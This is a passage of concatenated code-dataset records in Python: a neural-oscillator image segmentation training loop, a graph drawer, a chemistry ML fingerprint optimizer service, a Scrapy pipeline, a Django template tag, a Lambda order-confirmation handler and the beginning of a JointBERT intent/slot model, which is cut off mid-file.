{}\\n\".format(kura_update_rate),\n \"episodes = {}\\n\".format(episodes),\n \"learning_rate = {}\\n\".format(learning_rate),\n \"sparsity_weight = {}\\n\".format(sparsity_weight),\n \"shuffle = {}\\n\".format(shuffle),\n \"network=net.simple_conv\\n\",\n \"num_cn={}\\n\".format(num_cn),\n \"critic_dist={}\\n\".format(critic_dist),\n \"anneal={}\\n\".format(anneal),\n \"loss:exinp_integrate_torch\"]\nfile.writelines(L)\nfile.close()\n\n######################\n# initialization\nif tc.cuda.device_count() > 1:\n model = nn.DataParallel(net.simple_conv()).to(args.device)\n criterion = nn.DataParallel(net.criterion()).to(args.device)\nelse:\n model = net.simple_conv().to(args.device)\n criterion = net.criterion().to(args.device)\nprint('network contains {} parameters'.format(net.count_parameters(model))) # parameter number\ntime.sleep(2)\n\ninitial_phase = np.random.rand(1, img_side ** 2) * 2 * np.pi\nrand_phase = tc.tensor(initial_phase).to('cpu')\nbatch_initial_phase = rand_phase.repeat(train_batch_size, 1).to(args.device)\ncv_initial_phase = rand_phase.repeat(cv_batch_size, 1).detach().to(args.device)\n\nloss_history = []\nloss_cv_history = []\ncoupling_history = []\n\ndisplayer = kv.displayer()\nop = tc.optim.Adam(model.parameters(), lr=learning_rate)\n\n######################\n# connectivity\nconnectivity = np.zeros((img_side ** 2, num_cn))\nfor i in tqdm(range(img_side ** 2)):\n count = 0\n for j in range(img_side ** 2):\n x_1 = int(i % img_side)\n y_1 = int(i // img_side)\n x_2 = int(j % img_side)\n y_2 = int(j // img_side)\n dist = np.sqrt((x_2 - x_1) ** 2 + (y_2 - y_1) ** 2)\n if (dist < critic_dist) and (dist > 0):\n connectivity[i, count] = j\n count += 1\n while count < num_cn:\n connectivity[i, count:] = \\\n sorted(np.delete(range(img_side ** 2), connectivity[i, ...]),\n key=lambda k: np.random.random())[:int(num_cn - count)]\n count += 1\n change = sorted(range(num_cn), key=lambda k: np.random.random())[:int(num_cn / 2 + 1)]\n connectivity[i, ...][change] = \\\n sorted(np.delete(range(img_side ** 2), connectivity[i, ...]),\n key=lambda k: np.random.random())[:int(num_cn / 2 + 1)]\nconnectivity = tc.tensor(connectivity).long().unsqueeze(0).to('cpu')\nbatch_connectivity = connectivity.repeat(train_batch_size, 1, 1).to(args.device)\ncv_connectivity = connectivity.repeat(cv_batch_size, 1, 1).detach().to(args.device)\n\n######################\n# training pipeline\nif not shuffle:\n training_order = np.arange(train_data_num)\n np.random.shuffle(training_order)\n training_order = training_order[:real_train_data_num].reshape(-1, train_batch_size)\nnorm = np.sum(np.arange(1, episodes + 1) ** 2)\nfor epoch in tqdm(range(train_epochs)):\n if shuffle:\n training_order = np.arange(train_data_num)\n np.random.shuffle(training_order)\n training_order = training_order[:real_train_data_num].reshape(-1, train_batch_size)\n\n for step in range(training_order.shape[0]):\n batch, mask_train = read_data(training_order[step], load_path)\n # print(batch.shape)\n # print(batch[0])\n\n op.zero_grad()\n\n phase_list_train, coupling_train = model(batch.unsqueeze(1), args.device,\n kura_update_rate, anneal, episodes,\n batch_initial_phase, batch_connectivity)\n\n tavg_loss = criterion(phase_list_train, mask_train, args.device)\n tavg_loss = tavg_loss.mean() / norm\n tavg_loss += sparsity_weight * tc.abs(coupling_train).mean()\n\n tavg_loss.backward()\n op.step()\n\n if step == training_order.shape[0] - 1:\n # cross-validation\n cv_ordering = np.arange(128)\n np.random.shuffle(cv_ordering)\n cv_image, cv_mask = read_data(cv_ordering[:cv_batch_size], load_dir + '{}/valid/0'.format(group_size),\n valid=True)\n\n phase_list_cv, coupling_cv = model(cv_image.unsqueeze(1), args.device,\n kura_update_rate, anneal, episodes,\n cv_initial_phase, cv_connectivity)\n\n # phase.shape=(time, batch, N)\n # mask.shape=(time, batch, group, N)\n # return loss.shape=(time * batch,)\n tavg_loss_cv = criterion(phase_list_cv, cv_mask, args.device, True)\n tavg_loss_cv = tavg_loss_cv.mean() / norm\n tavg_loss_cv += sparsity_weight * tc.abs(coupling_cv).mean()\n loss_cv_history.append(tavg_loss_cv.cpu().data.numpy())\n loss_history.append(tavg_loss.cpu().data.numpy())\n\n # visualize training\n if (step == 0) & ((epoch == 0) | ((epoch + 1) % show_every == 0)):\n train_ind = np.random.randint(train_batch_size)\n train_image = batch[train_ind].cpu().data.numpy()\n train_mask = mask_train[train_ind].cpu().unsqueeze(0).data.numpy()\n coupling_train_show = \\\n tc.zeros(1, img_side ** 2, img_side ** 2).to('cpu').scatter_(dim=2, index=connectivity,\n src=coupling_train[train_ind].unsqueeze(0).cpu()).data.numpy()[0]\n coupling_history.append(coupling_train_show)\n train_phase_list = np.array([phase.cpu().data.numpy()[train_ind, :] for phase in phase_list_train])\n display(displayer, train_phase_list, train_image, train_mask, coupling_train_show, save_path,\n 'train{}'.format(epoch))\n\n # visualize validation and save\n if (epoch == 0) | ((epoch + 1) % show_every == 0):\n # validation example, save its coupling matrix\n valid_ind = np.random.randint(cv_batch_size)\n valid_image = cv_image[valid_ind].cpu().data.numpy()\n valid_mask = cv_mask[valid_ind].cpu().unsqueeze(0).data.numpy()\n coupling_valid_show = \\\n tc.zeros(1, img_side ** 2, img_side ** 2).to('cpu').scatter_(dim=2, index=connectivity,\n src=coupling_cv[valid_ind].cpu().unsqueeze(\n 0)).data.numpy()[0]\n valid_phase_list = np.array([phase.cpu().data.numpy()[valid_ind, :] for phase in phase_list_cv])\n display(displayer, valid_phase_list, valid_image, valid_mask, coupling_valid_show, save_path,\n 'valid{}'.format(epoch))\n\n # save files\n tc.save({'epoch': epoch, 'model_state_dict': model.state_dict(),\n 'optimizer_state_dict': op.state_dict(),\n 'initial_phase': rand_phase,\n 'connectivity': connectivity}, save_path + '/model{}.pt'.format(epoch))\n np.save('coupling.npy', np.array(coupling_history))\n\n plt.plot(np.array(loss_history))\n plt.plot(np.array(loss_cv_history))\n plt.title('Time Averaged Loss')\n plt.legend(['train', 'valid'])\n plt.savefig(save_path + '/loss' + '.png')\n plt.close()\n","sub_path":"supervised/multi_mnist/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":11092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"432511998","text":"import matplotlib.pyplot as plt \nimport networkx as nx\n\ndef main(n, m):\n grafo = nx.DiGraph()\n\n nos = range(n)\n\n arestas = []\n\n for i in range(m):\n uv = input()\n u = int(uv[0])\n v = int(uv[2])\n\n arestas.append(tuple([u, v]))\n \n\n grafo.add_nodes_from(nos)\n grafo.add_edges_from(arestas)\n\n nx.draw(grafo, with_labels=True)\n plt.show()\n\nif __name__ == '__main__':\n print(\"*Hi after inputs I gonna draw an directed graph!*\\nIf you want to exit, type 'q', else type the number of nodes and edges.\") \n while True:\n print(\"> \", end=\"\")\n a = input()\n print(\"> \", end=\"\")\n if a == 'q':\n break\n\n n = int(a)\n m = int(input())\n \n print(\"Conections.:\")\n\n main(n, m)","sub_path":"dir.py","file_name":"dir.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"479380834","text":"import csv\nimport json\nimport os\nimport shutil\nfrom collections import OrderedDict\nfrom time import time\n\nimport numpy\nimport redis\nfrom sklearn import model_selection\n\nfrom MLLogger import BaseMLLogger\nfrom exception_handler import MLExceptionHandler\nfrom general_helper import (\n get_oauth, make_stream_from_sdf, make_directory, get_multipart_object,\n post_data_to_blob, fetch_token\n)\nfrom learner.algorithms import (\n CLASSIFIER, REGRESSOR, model_type_by_code, NAIVE_BAYES, ELASTIC_NETWORK,\n TRAINER_CLASS, ALGORITHM, CODES\n)\nfrom mass_transit.MTMessageProcessor import PureConsumer, PurePublisher\nfrom mass_transit.mass_transit_constants import (\n OPTIMIZE_TRAINING, TRAINING_OPTMIZATION_FAILED, TRAINING_OPTIMIZED\n)\nfrom messages import training_optimization_failed, model_training_optimized\nfrom processor import sdf_to_csv\n\nos.environ['OAUTHLIB_INSECURE_TRANSPORT'] = '1'\nBLOB_URL = '{}/blobs'.format(os.environ['OSDR_BLOB_SERVICE_URL'])\nREDIS_CLIENT = redis.StrictRedis(host='redis', db=0)\n\nTEMP_FOLDER = os.environ['OSDR_TEMP_FILES_FOLDER']\nLOGGER = BaseMLLogger(\n log_name='logger', log_file_name='sds-ml-training-optimizer')\ntry:\n EXPIRATION_TIME = int(os.environ['REDIS_EXPIRATION_TIME_SECONDS'])\nexcept KeyError:\n EXPIRATION_TIME = 12*60*60 # 12 hours\n LOGGER.error('Max thread number not defined. Set it to 1')\nOPTIMIZER_FORMATTER = '{:.04f}'.format\n# set optimizer fingerprints sets\n# will found optimal set from this list, and use it later for training model\n# all other sets will be shown on optimizer report and on training report\nBASE_FINGERPRINTS = [\n [\n {'Type': 'DESC'}, {'Type': 'AVALON', 'Size': 512},\n {'Type': 'ECFP', 'Radius': 3, 'Size': 128},\n {'Type': 'FCFC', 'Radius': 2, 'Size': 256}\n ], [\n {'Type': 'MACCS'}, {'Type': 'AVALON', 'Size': 256},\n {'Type': 'ECFP', 'Radius': 4, 'Size': 1024},\n {'Type': 'FCFC', 'Radius': 4, 'Size': 256}\n ], [\n {'Type': 'DESC'}, {'Type': 'AVALON', 'Size': 256},\n {'Type': 'ECFP', 'Radius': 4, 'Size': 512},\n {'Type': 'FCFC', 'Radius': 2, 'Size': 128}\n ], [\n {'Type': 'DESC'}, {'Type': 'MACCS'},\n {'Type': 'ECFP', 'Radius': 2, 'Size': 128},\n {'Type': 'FCFC', 'Radius': 4, 'Size': 256}\n ], [\n {'Type': 'DESC'}, {'Type': 'ECFP', 'Radius': 3, 'Size': 1024},\n {'Type': 'FCFC', 'Radius': 4, 'Size': 256}\n ], [\n {'Type': 'DESC'}, {'Type': 'ECFP', 'Radius': 2, 'Size': 512},\n {'Type': 'FCFC', 'Radius': 2, 'Size': 512}\n ], [\n {'Type': 'DESC'}, {'Type': 'MACCS'},\n {'Type': 'ECFP', 'Radius': 2, 'Size': 1024},\n {'Type': 'FCFC', 'Radius': 3, 'Size': 512}\n ], [\n {'Type': 'ECFP', 'Radius': 2, 'Size': 512},\n {'Type': 'FCFC', 'Radius': 3, 'Size': 128}\n ], [\n {'Type': 'DESC'}, {'Type': 'MACCS'},\n {'Type': 'ECFP', 'Radius': 3, 'Size': 512},\n {'Type': 'FCFC', 'Radius': 2, 'Size': 128}\n ], [\n {'Type': 'DESC'}, {'Type': 'AVALON', 'Size': 128},\n {'Type': 'ECFP', 'Radius': 3, 'Size': 512}\n ], [\n {'Type': 'DESC'}, {'Type': 'AVALON', 'Size': 128},\n {'Type': 'ECFP', 'Radius': 2, 'Size': 128},\n {'Type': 'FCFC', 'Radius': 2, 'Size': 128}\n ], [\n {'Type': 'DESC'}, {'Type': 'MACCS'}, {'Type': 'AVALON', 'Size': 512},\n {'Type': 'FCFC', 'Radius': 4, 'Size': 128}\n ]\n]\n\n\n@MLExceptionHandler(\n logger=LOGGER, fail_publisher=TRAINING_OPTMIZATION_FAILED,\n fail_message_constructor=training_optimization_failed\n)\ndef find_optimal_parameters(body):\n \"\"\"\n Pika callback function used by ml optimizer\n Find optimal training fingerprints set for input dataset\n Using only 1000 (by default) or less structures from input dataset\n Send overall optimizing result to Redis, to use it in ml training report\n\n :param body: RabbitMQ MT message's body\n :type body: dict\n \"\"\"\n\n oauth = get_oauth()\n\n # check input methods\n if not body['Methods']:\n raise ValueError('Empty Methods')\n\n # calculate metrics for each fingerprints set\n metrics, target_metric = fingerprints_grid_search(\n oauth, body, BASE_FINGERPRINTS)\n # send all metrics to redis\n # later use it to add to training report\n REDIS_CLIENT.setex(\n 'optimizer_metrics_{}'.format(body['CorrelationId']), EXPIRATION_TIME,\n json.dumps(metrics)\n )\n # find best fingerprints set\n optimal_fingerprints = sorted(\n metrics.values(), key=lambda value: value['metrics'][target_metric],\n reverse=True\n )[0]['fptype']\n # set other default 'optimal' parameters for training model\n body['SubSampleSize'] = 1.0\n body['TestDataSize'] = 0.3\n body['Scaler'] = 'MinMax'\n body['KFold'] = 5\n body['Fingerprints'] = optimal_fingerprints\n body['OptimizationMethod'] = 'default'\n body['NumberOfIterations'] = 100\n\n # make optimizer metrics csv and post it to blob storage\n formatted_metrics = TMP_TMP(\n metrics, model_type_by_code(body['Methods'][0].lower()))\n csv_path = '{}/ml_optimizer/{}/optimizing.csv'.format(\n TEMP_FOLDER, body['CorrelationId'])\n write_optimized_metrics_to_csv(formatted_metrics, csv_path)\n multipart_model = get_multipart_object(\n body, csv_path, 'application/x-spss-sav',\n additional_fields={'ParentId': body['TargetFolderId']}\n )\n\n # send optimizer metrics csv file to blob storage\n fetch_token(oauth)\n response = post_data_to_blob(oauth, multipart_model)\n LOGGER.info('Optimizer csv status code: {}'.format(response.status_code))\n\n # send best fingerprints set and 'optimal' parameters to training model\n training_optimized = model_training_optimized(body)\n training_optimized_message_publisher = PurePublisher(TRAINING_OPTIMIZED)\n training_optimized_message_publisher.publish(training_optimized)\n\n # clear current optimization folder\n shutil.rmtree(\n '{}/ml_optimizer/{}'.format(TEMP_FOLDER, body['CorrelationId']),\n ignore_errors=True\n )\n\n\ndef write_optimized_metrics_to_csv(metrics, csv_file_path):\n csv_formatted_metrics = OrderedDict()\n for key, value in metrics.items():\n if 'fingerprints' not in csv_formatted_metrics.keys():\n csv_formatted_metrics['fingerprints'] = dict()\n\n column_name = key\n if key == '0':\n column_name = 'Fingerprints set'\n csv_formatted_metrics['fingerprints'][column_name] = column_name\n\n for sub_key, sub_value in value.items():\n if sub_key not in csv_formatted_metrics.keys():\n csv_formatted_metrics[sub_key] = dict()\n\n csv_formatted_metrics[sub_key][column_name] = sub_value\n\n with open(csv_file_path, 'w') as f:\n w = csv.DictWriter(f, csv_formatted_metrics.keys())\n\n subkeys = csv_formatted_metrics['fingerprint_processing_time'].keys()\n for row_key in subkeys:\n row_dict = dict()\n for key, value in csv_formatted_metrics.items():\n row_dict[key] = value[row_key]\n\n w.writerow(row_dict)\n\n\ndef fingerprints_as_string(fingerprints):\n \"\"\"\n Method to formatting fingerprints list to human readable string value\n\n :param fingerprints: fingerprints set as list\n :type fingerprints: list\n :return: fingerprints set as string\n :rtype: str\n \"\"\"\n\n all_fingerprints_string = []\n # loop all fingerprints values in list\n for fingerprint in fingerprints:\n fingerprint_string = '{}'.format(fingerprint['Type'])\n\n if 'Radius' in fingerprint.keys():\n fingerprint_string += ' {} radius'.format(fingerprint['Radius'])\n\n if 'Size' in fingerprint.keys():\n fingerprint_string += ' {} size'.format(fingerprint['Size'])\n\n all_fingerprints_string.append(fingerprint_string)\n\n return ', '.join(all_fingerprints_string)\n\n\ndef fingerprints_grid_search(\n oauth, body, fingerprints, subsample_size=1000\n):\n \"\"\"\n Function for searching of optimal combination of fingerprints.\n subsample_size molecules are extracted from initial dataset and used\n for training of multiple models with varying combinations of fingerprints.\n\n :param oauth:\n :param body:\n :param fingerprints: list of fingerprints' combinations\n :param subsample_size: number of objects that will be used to train model\n :return: dict with fingerprints' metrics and statistics\n \"\"\"\n\n # make folder for current optimization\n optimizer_folder = '{}/ml_optimizer/{}'.format(\n TEMP_FOLDER, body['CorrelationId'])\n make_directory(optimizer_folder)\n\n # download and save sdf file\n stream = make_stream_from_sdf(body, oauth)\n filename = body['SourceFileName']\n temporary_sdf_filename = '{}/tmp_{}.sdf'.format(optimizer_folder, filename)\n temporary_sdf_file = open(temporary_sdf_filename, 'wb')\n temporary_sdf_file.write(stream.getvalue())\n temporary_sdf_file.close()\n\n # extract sample (which have subsample_size) from source dataset\n prediction_target = body['ClassName']\n mode = model_type_by_code(body['Methods'][0].lower())\n sample_file_name = extract_sample_dataset(\n input_file_name=temporary_sdf_filename, subsample_size=subsample_size,\n prediction_target=prediction_target, mode=mode\n )\n\n # define classifier and regressor models for optimizing\n if mode == CLASSIFIER:\n model_code = NAIVE_BAYES\n target_metric = 'test__AUC'\n elif mode == REGRESSOR:\n model_code = ELASTIC_NETWORK\n target_metric = 'test__R2'\n else:\n raise ValueError('Unknown node: {}'.format(mode))\n\n # loop all base fingerprints sets to find best set\n metrics = dict()\n for fingerprint_number, fptype in enumerate(fingerprints):\n\n # make dataframe depends on fingerprint set\n # and model type (classifier or regressor)\n start_fps_processing = time()\n if mode == CLASSIFIER:\n dataframe = sdf_to_csv(\n sample_file_name, fptype=fptype,\n class_name_list=prediction_target\n )\n elif mode == REGRESSOR:\n dataframe = sdf_to_csv(\n sample_file_name, fptype=fptype,\n value_name_list=prediction_target\n )\n else:\n raise ValueError('Unknown mode: {}'.format(mode))\n fps_processing_time_seconds = time() - start_fps_processing\n\n # train model\n start_current_training = time()\n classic_classifier = ALGORITHM[TRAINER_CLASS][model_code](\n sample_file_name, prediction_target, dataframe, subsample_size=1.0,\n test_set_size=0.2, seed=0, fptype=fptype, scale='minmax',\n n_split=1, output_path=optimizer_folder\n )\n classic_classifier.train_model(CODES[model_code])\n current_training_time_seconds = time() - start_current_training\n\n # add formatted model's metrics and times to heap\n formatted_metrics = format_metrics(\n classic_classifier.metrics[model_code]['mean'])\n metrics.update({\n fingerprint_number: {\n 'fptype': fptype,\n 'metrics': formatted_metrics,\n 'fingerprint_processing_time': fps_processing_time_seconds,\n 'prediction_time': current_training_time_seconds\n }\n })\n\n return metrics, target_metric\n\n\ndef extract_sample_dataset(\n input_file_name, subsample_size, prediction_target, mode\n):\n \"\"\"\n Function for generation of subsampled dataset\n and writing a corresponding file\n\n :param input_file_name: name of input file\n :param subsample_size:\n number of structures that will be used to train model\n :param prediction_target: name of the target variable\n :param mode: classification or regression\n :return: name of subsampled file\n \"\"\"\n\n prediction_target = '<' + prediction_target + '>'\n valid_list = extract_sample_mols(\n input_file_name, mode, subsample_size=subsample_size,\n prediction_target=prediction_target\n )\n sample_file_name = write_sample_sdf(input_file_name, valid_list)\n\n return sample_file_name\n\n\ndef write_sample_sdf(input_file_name, valid_list):\n \"\"\"\n Function for writing a temporary file with a subset of pre-selected\n structures\n\n :param input_file_name: name of input file\n :param valid_list: list of indexes of pre-selected structures\n :return: name of subsampled file\n \"\"\"\n\n sample_file_name = '{}_sample.sdf'.format(input_file_name.split('.')[0])\n sample_file = open(sample_file_name, 'w')\n mol = []\n i = 0\n\n for line in open(input_file_name):\n mol.append(line)\n if line[:4] == '$$$$':\n i += 1\n if i in valid_list:\n for mol_line in mol:\n sample_file.write(mol_line)\n valid_list.remove(i)\n mol = []\n else:\n mol = []\n\n sample_file.close()\n\n return sample_file_name\n\n\ndef extract_sample_mols(\n input_file_name, mode, prediction_target='', n_bins=20,\n critical_ratio=0.05, subsample_size=1000,\n):\n \"\"\"\n Function for generation of list of indexes. The subset of structures with\n the corresponding indexes will be used for the following model's training.\n\n :param input_file_name: name of input file\n :param mode: classification or regression\n :param prediction_target: name of the target variable\n :param n_bins: number of bins that will be used to split dataset\n (in a stratified manner) in regression mode\n :param critical_ratio: minimal fraction of minor class objects.\n If actual value is less than critical_ratio,\n major/minor classes ratio will be changed to critical_ratio\n :param subsample_size:\n number of structures that will be used to train model\n :return: list of indexes\n \"\"\"\n\n counter = 0\n values_list = list()\n mol_numbers = list()\n\n with open(input_file_name, 'r') as infile:\n for line in infile:\n if prediction_target in line:\n values_list.append(next(infile, '').strip())\n\n if line[:4] == '$$$$':\n mol_numbers.append(counter)\n counter += 1\n\n mol_numbers = numpy.array(mol_numbers)\n\n if mol_numbers.size <= subsample_size:\n valid_list = mol_numbers\n else:\n if mode == CLASSIFIER:\n temp_values_list = []\n for value in values_list:\n try:\n temp_value = value.upper()\n if temp_value == 'TRUE':\n temp_values_list.append(1)\n elif temp_value == 'FALSE':\n temp_values_list.append(0)\n else:\n temp_values_list.append(int(temp_value))\n except (AttributeError, ValueError):\n temp_values_list.append(None)\n\n values_list = numpy.array(temp_values_list, dtype=int)\n true_class_indexes = numpy.argwhere(values_list == 1).flatten()\n false_class_indexes = numpy.argwhere(values_list == 0).flatten()\n\n if true_class_indexes.size > false_class_indexes.size:\n major_class_indexes = true_class_indexes\n minor_class_indexes = false_class_indexes\n else:\n major_class_indexes = false_class_indexes\n minor_class_indexes = true_class_indexes\n\n if minor_class_indexes.size < subsample_size * critical_ratio:\n new_num_major_indexes = subsample_size - minor_class_indexes.size\n valid_list = numpy.hstack((\n minor_class_indexes,\n numpy.random.choice(\n major_class_indexes, new_num_major_indexes, replace=False\n )\n ))\n else:\n if minor_class_indexes.size/mol_numbers.size > critical_ratio:\n train_fraction = subsample_size / mol_numbers.size\n new_num_minor_indexes = train_fraction * minor_class_indexes.size\n new_num_major_indexes = train_fraction * major_class_indexes.size\n valid_list = (numpy.hstack((\n numpy.random.choice(\n minor_class_indexes, round(new_num_minor_indexes),\n replace=False\n ),\n numpy.random.choice(\n major_class_indexes, round(new_num_major_indexes),\n replace=False\n )\n )))\n else:\n valid_list = numpy.hstack((\n numpy.random.choice(\n minor_class_indexes,\n round(subsample_size * critical_ratio),\n replace=False\n ),\n numpy.random.choice(\n major_class_indexes,\n round(subsample_size * (1 - critical_ratio)),\n replace=False\n )\n ))\n\n elif mode == REGRESSOR:\n values_list = numpy.array(values_list, dtype=float)\n percentiles = numpy.percentile(\n values_list, numpy.linspace(0, 100, n_bins + 1))\n falls_into = numpy.searchsorted(percentiles, values_list)\n falls_into[falls_into == 0] = 1\n x_train, x_test, y_train, y_test = model_selection.train_test_split(\n mol_numbers, falls_into, stratify=falls_into,\n train_size=subsample_size\n )\n\n valid_list = x_train\n else:\n raise ValueError('Unknown mode: {}'.format(mode))\n\n return valid_list.tolist()\n\n\ndef format_metrics(metrics):\n \"\"\"\n Method to return dict with formatted metrics keys.\n From tuple of strings to string with dunder ('__') between values\n\n :param metrics: unformatted metrics. keys looks like ('test', 'AUC')\n :type metrics: dict\n :return: formatted metrics. keys looks like 'test__AUC'\n :rtype: dict\n \"\"\"\n\n formatted_metrics = dict()\n for key, value in metrics.items():\n formatted_metrics['{}__{}'.format(key[0], key[1])] = value\n\n return formatted_metrics\n\n\ndef TMP_TMP(optimal_metrics_dict, model_type):\n # prepare metrics table headers\n if model_type == CLASSIFIER:\n formatted_metrics = OrderedDict({\n '0': {\n 'fingerprint_processing_time': 'FP computation time, sec',\n 'test__ACC': 'Test ACC',\n 'test__AUC': 'Test AUC',\n 'test__Matthews_corr': 'Test Matthews corr coeff',\n 'prediction_time': 'training time, sec'\n }\n })\n elif model_type == REGRESSOR:\n formatted_metrics = OrderedDict({\n '0': {\n 'fingerprint_processing_time': 'FP computation time, sec',\n 'test__R2': 'Test R2',\n 'test__RMSE': 'Test RMSE',\n 'prediction_time': 'training time, sec'\n }\n })\n else:\n raise ValueError('Unknown model type: {}'.format(model_type))\n\n # fill metrics table values, correspond by header\n if model_type == CLASSIFIER:\n for model_number, model_data in optimal_metrics_dict.items():\n fingerprints_string = fingerprints_as_string(model_data['fptype'])\n formatted_metrics[fingerprints_string] = {\n 'fingerprint_processing_time': OPTIMIZER_FORMATTER(\n model_data['fingerprint_processing_time']),\n 'test__ACC': OPTIMIZER_FORMATTER(\n model_data['metrics']['test__ACC']),\n 'test__AUC': OPTIMIZER_FORMATTER(\n model_data['metrics']['test__AUC']),\n 'test__Matthews_corr': OPTIMIZER_FORMATTER(\n model_data['metrics']['test__Matthews_corr']),\n 'prediction_time': OPTIMIZER_FORMATTER(\n model_data['prediction_time'])\n }\n elif model_type == REGRESSOR:\n for model_number, model_data in optimal_metrics_dict.items():\n fingerprints_string = fingerprints_as_string(model_data['fptype'])\n formatted_metrics[fingerprints_string] = {\n 'fingerprint_processing_time': OPTIMIZER_FORMATTER(\n model_data['fingerprint_processing_time']),\n 'test__R2': OPTIMIZER_FORMATTER(\n model_data['metrics']['test__R2']),\n 'test__RMSE': OPTIMIZER_FORMATTER(\n model_data['metrics']['test__RMSE']),\n 'prediction_time': OPTIMIZER_FORMATTER(\n model_data['prediction_time'])\n }\n else:\n raise ValueError('Unknown model type: {}'.format(model_type))\n\n return formatted_metrics\n\n\nif __name__ == '__main__':\n try:\n PREFETCH_COUNT = int(\n os.environ['OSDR_RABBIT_MQ_ML_OPTIMIZER_PREFETCH_COUNT'])\n except KeyError:\n PREFETCH_COUNT = 1\n LOGGER.error('Prefetch count not defined. Set it to 1')\n\n OPTIMIZE_TRAINING['event_callback'] = find_optimal_parameters\n TRAIN_MODELS_COMMAND_CONSUMER = PureConsumer(\n OPTIMIZE_TRAINING, infinite_consuming=True,\n prefetch_count=PREFETCH_COUNT\n )\n TRAIN_MODELS_COMMAND_CONSUMER.start_consuming()\n","sub_path":"Source/osdr_ml_modeler/optimizer.py","file_name":"optimizer.py","file_ext":"py","file_size_in_byte":21562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"432538525","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html\nimport re\nimport json\n\n\nclass WebspiderPipeline(object):\n\n def process_item(self, input_item, spider):\n item = {\n \"name\": input_item[\"productname\"],\n \"price\": self.clear_price(input_item[\"productcart\"]),\n \"img\": self.clear_img(input_item[\"img\"]),\n \"characteristics\": {self.clear_data(k): self.clear_data(v)\n for k, v in input_item[\"characteristics\"].items()\n },\n \"store_availability\": input_item[\"availability\"]\n }\n return item\n\n def clear_price(self, price):\n return price.split()[0].replace(\",\",\".\")\n\n def clear_data(self, string):\n string = re.sub(r'[\\s]+', '', string)\n return re.search('>([^<>]*)<', string).group(1)\n\n def clear_img(self, img_str):\n img_str = re.search('src=\"([^\"]+)\"', img_str).group(1)\n return img_str\n\t\t\n\n \n","sub_path":"webspider/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"645681862","text":"import datetime\nimport ast\nfrom django import template\n\nregister = template.Library()\n\n@register.inclusion_tag('redirect_dialog.html')\ndef dialog(title, url, method, form_values, yes, no, button_id):\n return {\n 'title': title,\n 'url': url,\n 'yes': yes,\n 'no': no,\n 'button_id': button_id,\n 'method': method,\n 'form_values': ast.literal_eval(form_values),\n }\n\n","sub_path":"tiled_math/templatetags/dialog.py","file_name":"dialog.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"155535864","text":"import datetime\nimport hmac\nimport queries\nimport schema\nimport util\n\n\n@util.parse_path({\n\t\"uuid\": schema._common[\"uuid\"],\n\t\"hash\": schema._common[\"hash\"]\n})\n@util.initialize\ndef get(event, context):\n\n\tuuid = event[\"pathParameters\"][\"uuid\"]\n\thash = event[\"pathParameters\"][\"hash\"]\n\n\tif not queries.order_exists(uuid=uuid):\n\t\treturn util.respond_error(404, f\"Order {uuid} does not exist.\")\n\n\tif not hmac.compare_digest(hash, util.sign_hash(uuid)):\n\t\treturn util.respond_error(400, \"Invalid signed hash.\")\n\n\tqueries.confirm_order(uuid=uuid)\n\treturn util.respond_redirect(\n\t\tf\"https://{util._config['wolla_web_host']}/order/{uuid}/update\"\n\t)\n","sub_path":"lambda/handlers/order_confirm_hash.py","file_name":"order_confirm_hash.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"332724159","text":"import os\nimport torch.nn as nn\nfrom transformers import BertPreTrainedModel, BertModel\nfrom torchcrf import CRF\n\n\nclass JointBERT(BertPreTrainedModel):\n def __init__(self, config, args, intent_label_lst, slot_label_lst):\n super(JointBERT, self).__init__(config)\n self.args = args\n self.num_intent_labels = len(intent_label_lst)\n self.num_slot_labels = len(slot_label_lst)\n self.bert = BertModel(config=config) # Load pretrained bert\n\n self.intent_classifier = IntentClassifier(config.hidden_size, self.num_intent_labels, args.dropout_rate)\n self.slot_classifier = SlotClassifier(config.hidden_size, self.num_slot_labels, args.dropout_rate)\n\n if args.use_crf:\n self.crf = CRF(num_tags=self.num_slot_labels, batch_first=True)\n\n def forward(self, input_ids, attention_mask, token_type_ids, intent_label_ids, slot_labels_ids):\n outputs = self.bert(input_ids, attention_mask=attention_mask,\n token_type_ids=token_type_ids) # sequence_output, pooled_output, (hidden_states), (attentions)\n sequence_output = outputs[0]\n pooled_output = outputs[1] # [CLS]\n\n intent_logits = self.intent_classifier(pooled_output)\n slot_logits = self.slot_classifier(sequence_output)\n\n total_loss = 0\n # 1. Intent Softmax\n if intent_label_ids is not None:\n if self.num_intent_labels == 1:\n intent_loss_fct = nn.MSELoss()\n intent_loss = intent_loss_fct(intent_logits.view(-1), intent_label_ids.view(-1))\n else:\n intent_loss_fct = nn.CrossEntropyLoss()\n intent_loss = intent_loss_fct(intent_logits.view(-1, self.num_intent_labels), intent_label_ids.view(-1))\n total_loss += intent_loss\n\n # 2. Slot Softmax\n if slot_labels_ids is not None:\n if self.args.use_crf:\n slot_loss = self.crf(slot_logits, slot_labels_ids, mask=attention_mask.byte(), reduction='mean')\n slot_loss = -1 * slot_loss # negative log-likelihood\n else:\n slot_loss_fct = nn.CrossEntropyLoss(ignore_index=self.args.ignore_index)\n # Only keep active parts of the loss\n if attention_mask is not None:\n active_loss = attention_mask.view(-1) == 1\n active_logits = slot_logits.view(-1, self.num_slot_labels)[active_loss]\n active_labels = slot_labels_ids.view(-1)[active_loss]\n slot_loss = slot_loss_fct(active_logits, active_labels)\n else:\n slot_loss = slot_loss_fct(slot_logits.view(-1, self.num_slot_labels), slot_labels_ids.view(-1))\n total_loss += self.args.slot_loss_coef * slot_loss\n\n outputs = ((intent_logits, slot_logits),) + outputs[2:] # add hidden states and attention if they are 